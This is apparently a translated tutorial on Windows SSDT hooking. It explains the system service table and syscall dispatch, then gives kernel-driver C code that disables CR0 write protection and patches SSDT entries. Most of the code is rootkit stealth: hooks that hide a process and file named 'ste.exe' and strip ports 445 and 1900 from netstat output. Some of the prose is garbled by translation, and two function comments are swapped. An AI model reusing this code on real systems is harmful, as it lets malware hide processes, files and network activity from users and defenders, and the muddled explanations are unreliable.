Detailed Explanation and Application of SSDT Hook Technology
Introduction to SSDT
1. What is SSDT
The full name of SSDT is System Services Descriptor Table, the system service descriptor table. This table is a link between Ring3's Win32 API and Ring0's kernel API. SSDT not only contains a huge address index table, but also contains some other useful information, such as the base address of the address index, the number of service functions and so on. By modifying the function address of this table, the common Windows functions and APIs can be Hook, so as to achieve the purpose of filtering and monitoring some concerned system actions. Some HIPS, anti-virus software, system monitoring, registry monitoring software often use this interface to achieve their own monitoring module.
Windows over NT 4.0 operating system By default, there are two system service description tables, which correspond to two different types of system services: KeService Descriptor Table and KeService Descriptor Table Shadow. KeService Descriptor Table mainly deals with system calls from Ring 3-tier Kernel 32.dll, while KeService Descriptor Table Shadow mainly deals with system calls from Ring 3-tier Kernel 32.dll. System calls from User32.dll and GDI32.dll, and KeService Descriptor Table is exported in ntoskrnl.exe(Windows operating system kernel files, including kernel and execution layer), while KeService Descriptor Table Shadow is not exported by Windows operating system, and all content about SSDT is done through KeService Descriptor Table.
2. SSDT structure
The following figure shows the KeService Descriptor Table structure derived from ntoskrnl.exe of IDA analysis.
The following is the specific meaning of KeService Descriptor Table.
~~~c++
typedef struct _KSYSTEM_SERVICE_TABLE{
PULONG Service TableBase; // SSDT (System Service Dispatch Table) Base Address
PULONG Service Counter TableBase; // For checked builds, including the number of times each service in SSDT is invoked
ULONG NumberOfService; // NumberOfService* 4 is the size of the entire address table
ULONG ParamTableBase; // SSPT (System Service Parameter Table) Base Address
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;
With the introduction above, we can simply regard KeService Descriptor as an array (in essence, an array),** The API in application layer ntdll.dll has a corresponding service in the System Service Description Table (SSDT). When our application calls the API in ntdll.dll, it eventually calls the corresponding service in the kernel. System services, because of SSDT, we only need to tell the kernel the index of the service that needs to be invoked in SSDT to OK, then the kernel can find the corresponding service in SSDT according to the index value, and then the service invoked by the kernel can complete the invocation request of the application API. The basic structure can be referred to in the following figure:
3. Complete Execution Flow of Calling Win32 API in Application Layer
With the above SSDT foundation, let's take a look at the complete process of invoking Win32 API in the application layer (mainly referring to the API in ntdll.dll). Here we mainly analyze the invoking process of NtQuery System Information in ntdll.dll.
PS:Windows Task Manager uses this API to get information about the process of the system and so on.
Then the basic calling process of these API s is given.
In essence, in Windows operating system, ZwQuery System Information and NtQuery System Information in Ntdll.dll are the same functions. As can be seen from the screenshot below, the entry addresses of these two functions point to the same region, and their function entry addresses are the same.
As we all know, the API in Ntdll.dll is just a simple wrapping function. When the API in Kernel 32.dll passes through Ntdll.dll, it completes the parameter checking and calls an interrupt (int 2Eh or SysEnter directive) to realize the entry from Ring3 to Ring0 layer, and stores the service number to be invoked (i.e., the index value in the SDT array) into Ring0 layer. Register EAX, and put the parameter address in the specified register (EDX), then copy the parameter into the kernel address space, and then call the specified service in the SSDT array according to the index value stored in EAX.
Let's look at ZwQuery System Information in ntoskrnl.exe:
In the screenshot above, you can see that ZwQuery System Information under Ring 0 puts 0ADh in register eax, then calls the system service distribution function KiSystem Service, which is based on the index value in the eax register, and then finds the SSDT array with the index value in the eax register that is worth the SSDT stored in the SSDT. Item. Finally, the system service is invoked according to the address of the system service stored in the SSDT item. For example, here is the system service corresponding to the address saved at KeService Descriptor Table [0ADh]. That is to call NtQuery System Information under Ring0. At this point, the entire process of invoking NtQuery System Information in the application layer is over.
II. SSDT Hook Principle
1. Introduction of SSDT Hook Principle
With the above part of the foundation, we can see the principle of SSDT HOOK. In fact, the principle of SSDT Hook is very simple. From the above analysis, we can know that in the array of SSDT, the address of the system service is saved, such as the address of NtQuery System Information under Ring 0, which is saved in KeviceDescriptorTable [0]. In ADh, since it is Hook, we can replace the service address saved under the KeService Descriptor Table [0ADh], the address of our own Hook handler to replace the original address, so that each time we call the KeService Descriptor Table [0ADh], we will call our own Hook handler.
The following screenshot is before SSDT Hook:
After SSDT Hook, you can see that the service address in SSDT has been changed to MyHook NtQuery System Information. In this way, every time the system calls NtQuery System Information, the essence of the call is MyHook NtQuery System Information, and in order to ensure the stability of the system (at least not to let it crash), we generally call MyHook NtQuery System Information. The original service in the system, NtQuery System Information, is invoked in MyHook NtQuery System Information.
Let's look at the specific code for backing up, modifying, and restoring SSDT:
//=====================================================================================//
//Name: KSYSTEM_SERVICE_TABLE | KSERVICE_TABLE_DESCRIPTOR Definition//
// //
//Descripion: The basic method of defining SSDT table structure and obtaining function index values and addresses//
// //
//=====================================================================================//
typedef struct _KSYSTEM_SERVICE_TABLE
{
PULONG ServiceTableBase; // Base address of SSDT (System Service Dispatch Table)
PULONG ServiceCounterTableBase; // Contains the number of times each service is invoked in SSDT
ULONG NumberOfService; // Number of service functions, NumberOfService * 4 is the size of the entire address table
ULONG ParamTableBase; // Base address of SSPT(System Service Parameter Table)
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;
typedef struct _KSERVICE_TABLE_DESCRIPTOR
{
KSYSTEM_SERVICE_TABLE ntoskrnl; // Service function of ntoskrnl.exe
KSYSTEM_SERVICE_TABLE win32k; // win32k.sys service function (GDI32.dll/User32.dll kernel support)
KSYSTEM_SERVICE_TABLE notUsed1;
KSYSTEM_SERVICE_TABLE notUsed2;
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;
extern PKSERVICE_TABLE_DESCRIPTOR KeServiceDescriptorTable;
#define SYSCALL_FUNCTION(ServiceFunction) KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[SYSCALL_INDEX(ServiceFunction)]
#define SYSCALL_INDEX(ServiceFunction) (*(PULONG)((PUCHAR)ServiceFunction + 1))
#define MAX_SYSTEM_SERVICE_NUMBER 0x128
//Address used to save all the old service functions in SSDT
ULONG oldSysServiceAddr[MAX_SYSTEM_SERVICE_NUMBER];
//=====================================================================================//
//Name: VOID DisableWriteProtect() //
// //
//Descripion: Used to remove the writable properties of memory to achieve memory read-only//
// //
//=====================================================================================//
VOID DisableWriteProtect(ULONG oldAttr)
{
_asm
{
push eax
mov eax, oldAttr
mov cr0, eax
pop eax
sti;
}
}
//=====================================================================================//
//Name: VOID EnableWriteProtect() //
// //
//Descripion: Used to remove the read-only protection of memory to achieve writable memory//
// //
//=====================================================================================//
VOID EnableWriteProtect(PULONG pOldAttr)
{
ULONG uAttr;
_asm
{
cli;
push eax
mov eax, cr0;
mov uAttr, eax;
and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
mov cr0, eax;
pop eax
};
//Save the original CRO attributes
*pOldAttr = uAttr;
}
//=====================================================================================//
//Name: VOID BackupSysServicesTable() //
// //
//Descripion: Back up the address of the original service in SSDT because the original address in SSDT needs to be restored when the Hook is removed//
// //
//=====================================================================================//
VOID BackupSysServicesTable()
{
ULONG i;
for(i = 0; (i < KeServiceDescriptorTable->ntoskrnl.NumberOfService) && (i < MAX_SYSTEM_SERVICE_NUMBER); i++)
{
oldSysServiceAddr[i] = KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[i];
}
}
//=====================================================================================//
//Name: NTSTATUS InstallSysServiceHook() //
// //
//Descripion: Implement Hook installation, mainly by replacing service address with new service address in SSDT//
// //
//=====================================================================================//
NTSTATUS InstallSysServiceHook(ULONG oldService, ULONG newService)
{
ULONG uOldAttr = 0;
EnableWriteProtect(&uOldAttr);
SYSCALL_FUNCTION(oldService) = newService;
DisableWriteProtect(uOldAttr);
return STATUS_SUCCESS;
}
//=====================================================================================//
//Name: NTSTATUS UnInstallSysServiceHook() //
// //
//Descripion: Implementing Hook removal, mainly replacing oldService with service address under backup in SSDT//
// //
//=====================================================================================//
NTSTATUS UnInstallSysServiceHook(ULONG oldService)
{
ULONG uOldAttr = 0;
EnableWriteProtect(&uOldAttr);
SYSCALL_FUNCTION(oldService) = oldSysServiceAddr[SYSCALL_INDEX(oldService)];
DisableWriteProtect(uOldAttr);
return STATUS_SUCCESS;
}
2. Process Hiding and Protection
NTSTATUS HookNtQuerySystemInformation (
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rtStatus=STATUS_SUCCESS;
NTQUERYSYSTEMINFORMATION pOldNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)oldSysServiceAddr[SYSCALL_INDEX(ZwQuerySystemInformation)];
rtStatus = pOldNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if(NT_SUCCESS(rtStatus))
{
if(SystemProcessInformation==SystemInformationClass)
{
PSYSTEM_PROCESS_INFORMATION pPrevProcessInfo = NULL;
PSYSTEM_PROCESS_INFORMATION pCurrProcessInfo = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
UNICODE_STRING hideProcessName;
RtlInitUnicodeString(&hideProcessName,L"ste.exe");
while(pCurrProcessInfo != NULL)
{
//Get the process name and process ID of the currently traversing SYSTEM_PROCESS_INFORMATION node
ULONG uPID = (ULONG)pCurrProcessInfo->ProcessId;
UNICODE_STRING strTmpProcessName;
//RtlInitUnicodeString(&strTmpProcessName,L"");
strTmpProcessName = pCurrProcessInfo->ImageName;
//Determine whether the current traversing process is a process that needs to be hidden
if(unicodeStrCmp(hideProcessName,strTmpProcessName,strTmpProcessName.Length))
{
if(pPrevProcessInfo)
{
if(pCurrProcessInfo->NextEntryOffset)
{
//Remove the current process (that is, the process to be hidden) from System Information (change the link list offset pointer implementation)
pPrevProcessInfo->NextEntryOffset += pCurrProcessInfo->NextEntryOffset;
}
else
{
//Explain that the process you are hiding is the last one in the process list
pPrevProcessInfo->NextEntryOffset = 0;
}
}
else
{
//The first traversal process is the process that needs to be hidden.
if(pCurrProcessInfo->NextEntryOffset)
(PCHAR)SystemInformation += pCurrProcessInfo->NextEntryOffset;
else
SystemInformation = NULL;
}
}
//Traversing the next SYSTEM_PROCESS_INFORMATION node
pPrevProcessInfo = pCurrProcessInfo;
//Traversal end
if(pCurrProcessInfo->NextEntryOffset)
pCurrProcessInfo = (PSYSTEM_PROCESS_INFORMATION)(((PCHAR)pCurrProcessInfo) + pCurrProcessInfo->NextEntryOffset);
else
pCurrProcessInfo=NULL;
}
}
}
return rtStatus;
}
3. File Hiding and Protection
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent,
IN PIO_APC_ROUTINE IoApcRoutine,
IN PVOID IoApcContext,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN ReturnOnlyOneEntry,
IN PUNICODE_STRING FileName,
IN BOOLEAN RestartQuery)
{
NTSTATUS ntStatus;
LPFILE_NAMES_INFORMATION fileCurr;
LPFILE_NAMES_INFORMATION filePrev;
PFILE_BOTH_DIR_INFORMATION pFileInfo;
PFILE_BOTH_DIR_INFORMATION pPrevFileInfo;
BOOLEAN lastOne;
ULONG left;
ULONG pos;
WCHAR * hideFileName=L"ste.exe";
ZWQUERYDIRECTORYFILE pOldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)oldSysServiceAddr[SYSCALL_INDEX(ZwQueryDirectoryFile)];
ntStatus=((ZWQUERYDIRECTORYFILE)(pOldZwQueryDirectoryFile))(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
ReturnOnlyOneEntry,
FileName,
RestartQuery);
if(!bHideFile)
return ntStatus;
//RtlInitUnicodeString(&hideFileName,L"ste.exe");
if(NT_SUCCESS(ntStatus)&& FileInfoClass==FileBothDirectoryInformation)
{
pFileInfo=(PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;
pPrevFileInfo=NULL;
do {
lastOne=!(pFileInfo->NextEntryOffset);
//RtlInitUnicodeString(&fileNameWide,pFileInfo->FileName);
if(wcharStrCmp(hideFileName,pFileInfo->FileName,14,pFileInfo->FileNameLength))
{
if(lastOne)
{
if(pFileInfo==(PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)
ntStatus=0x80000006;
else
pPrevFileInfo->NextEntryOffset=0;
}
else
{
pos=((ULONG)pFileInfo)-((ULONG)FileInformationBuffer);
left=(ULONG)FileInformationBufferLength-pos-pFileInfo->NextEntryOffset;
RtlCopyMemory((PVOID)pFileInfo,(PVOID)((char *)pFileInfo+pFileInfo->NextEntryOffset),(ULONG)left);
continue;
}
}
pPrevFileInfo=pFileInfo;
pFileInfo=(PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo+pFileInfo->NextEntryOffset);
//fileCurr=(LPFILE_NAMES_INFORMATION)((char *)fileCurr+fileCurr->NextEntryOffset);
} while(!lastOne);
}
if (NT_SUCCESS(ntStatus) && FileInfoClass==FileNamesInformation)
{
fileCurr=(LPFILE_NAMES_INFORMATION)FileInformationBuffer;
do
{
lastOne=!(fileCurr->NextEntryOffset); //Take offset
//fileNameLength=fileCurr->FileNameLength; //Take length
//RtlInitUnicodeString(&fileNameWide,fileCurr->FileName);
if(wcharStrCmp(hideFileName,pFileInfo->FileName,14,pFileInfo->FileNameLength))
{
if(lastOne)
{
if (fileCurr==(LPFILE_NAMES_INFORMATION)FileInformationBuffer)
ntStatus=0x80000006; //hide
else
filePrev->NextEntryOffset=0;
}
else
{
//Mobile file offset
pos=((ULONG)fileCurr)-((ULONG)FileInformationBuffer);
left=(ULONG)FileInformationBufferLength-pos-fileCurr->NextEntryOffset;
RtlCopyMemory((PVOID)fileCurr,(PVOID)((char *)fileCurr+fileCurr->NextEntryOffset),(ULONG)left);
continue;
}
}
filePrev=fileCurr;
fileCurr=(LPFILE_NAMES_INFORMATION)((char *)fileCurr+fileCurr->NextEntryOffset);
}
while(!lastOne);
}
return ntStatus;
}
4. Port Hiding
NTSTATUS HookZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event,
IN PIO_APC_ROUTINE ApcRoutine,
IN PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer,
IN ULONG OutputBufferLength)
{
NTSTATUS rtStatus=STATUS_SUCCESS;
TCPAddrEntry* TcpTable;
TCPAddrExEntry* TcpExTable;
UDPAddrEntry* UdpTable;
UDPAddrExEntry* UdpExTable;
ULONG numconn;
ULONG i;
ULONG RetLen;
UCHAR buff[512];
POBJECT_NAME_INFORMATION ObjectName=(PVOID)&buff;
ANSI_STRING ObjectNameAnsi;
PUCHAR InBuff;
ZWDEVICEIOCONTROLFILE pOldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)oldSysServiceAddr[SYSCALL_INDEX(ZwDeviceIoControlFile)];
rtStatus = ((ZWDEVICEIOCONTROLFILE)(pOldZwDeviceIoControlFile)) (
FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if(NT_SUCCESS(rtStatus) && IoControlCode==0x120003)//netstat use this IoControlCode
{
if(NT_SUCCESS(ZwQueryObject(FileHandle,ObjectNameInformation,ObjectName,512,&RetLen)))
{
RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);
if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,strlen(TCP_PORT_DEVICE))==0)
{
if (((InBuff=(PUCHAR)InputBuffer)==NULL) || (InputBufferLength<17))//InputBuffer is wrong
return rtStatus;
//For TCP queries, the input buffer is characterized by InputBuffer[0] being 0x00, and InputBuffer[17] being 0x01 if port data already exists in OutputBuffer.
//If it is an extended structure, the InputBuffer[16] is 0x02. For UDP queries, InputBuffer[0] is 0x01, and InputBuffer[16] and InputBuffer[17] have the same value as TCP queries.
//-------------------------------------------------------TCP----------------------------------------------------------------------------
if ((InBuff[0]==0x00) && (InBuff[17]==0x01)) //TCP port
{
if (InBuff[16]!=0x02) //Non-Extended Structure
{
numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
TcpTable = (TCPAddrEntry*)OutputBuffer;
for( i=0; i<numconn; i++ )
{
if( ntohs(TcpTable[i].tae_ConnLocalPort) == 445 )
{
//DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(TcpTable[i].tae_ConnLocalPort));
memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );
numconn--;
i--;
}
}
IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
}
if(InBuff[16]==0x02)//Extended structure
{
numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);
TcpExTable = (TCPAddrExEntry*)OutputBuffer;
for( i=0; i<numconn; i++ )
{
if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 445 )
if(TcpExTable[i].pid==0)
{
//DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(TcpExTable[i].tae_ConnLocalPort));
memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );
numconn--;
i--;
}
}
IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);
}
}
//-----------------------------------------------------------UDP---------------------------------------------------------------
if ((InBuff[0]==0x01) && (InBuff[17]==0x01)) //TCP port
{
if (InBuff[16]!=0x02) //Non-Extended Structure
{
numconn = IoStatusBlock->Information/sizeof(UDPAddrEntry);
UdpTable = (UDPAddrEntry*)OutputBuffer;
for( i=0; i<numconn; i++ )
{
if( ntohs(UdpTable[i].tae_ConnLocalPort) == 1900 )
{
//DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(UdpTable[i].tae_ConnLocalPort));
memcpy( (UdpTable+i), (UdpTable+i+1), ((numconn-i-1)*sizeof(UDPAddrEntry)) );
numconn--;
i--;
}
}
IoStatusBlock->Information = numconn*sizeof(UDPAddrEntry);
}
if(InBuff[16]==0x02)//Extended structure
{
numconn = IoStatusBlock->Information/sizeof(UDPAddrExEntry);
UdpExTable = (UDPAddrExEntry*)OutputBuffer;
for( i=0; i<numconn; i++ )
{
if( ntohs(UdpExTable[i].tae_ConnLocalPort) == 1900 )
{
//DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(UdpExTable[i].tae_ConnLocalPort));
memcpy( (UdpExTable+i), (UdpExTable+i+1), ((numconn-i-1)*sizeof(UDPAddrExEntry)) );
numconn--;
i--;
}
}
IoStatusBlock->Information = numconn*sizeof(UDPAddrExEntry);
}
}
}
}
}
return rtStatus;
}